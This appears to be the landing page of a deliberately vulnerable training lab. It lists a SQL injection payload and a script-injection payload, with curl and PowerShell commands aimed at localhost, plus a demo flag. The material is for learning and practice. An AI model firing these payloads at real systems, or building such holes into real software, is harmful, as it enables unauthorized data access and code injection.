XESXOR Lab — Vulnerable Sandbox

Isolated lab for testing. Try exploits via curl in terminal (Linux) or Invoke-WebRequest in PowerShell/CMD.

SQLi Test

Endpoint: /lab?id=1 — vulnerable to ' OR '1'='1'--

curl "http://localhost:3000/lab?id=1' OR '1'='1'--"
# PowerShell: Invoke-WebRequest "http://localhost:3000/lab?id=1' OR '1'='1'--"
# CMD: curl "http://localhost:3000/lab?id=1' OR '1'='1'--"
Normal: id=1 — try the payload above

XSS Test

Param: ?xss=<script>alert(1)</script>

curl "http://localhost:3000/lab?xss=<script>alert(1)</script>"
No XSS — try the payload

How to test

  • Linux: curl "http://localhost:3000/lab?id=1' OR '1'='1'--"
  • PowerShell: Invoke-WebRequest "http://localhost:3000/lab?id=1' OR '1'='1'--"
  • CMD: curl "http://localhost:3000/lab?id=1' OR '1'='1'--"
  • All run in sandbox — no host access, safe to test

This lab is intentionally vulnerable for learning. No real data. Flag: XESXOR{lab_demo_flag}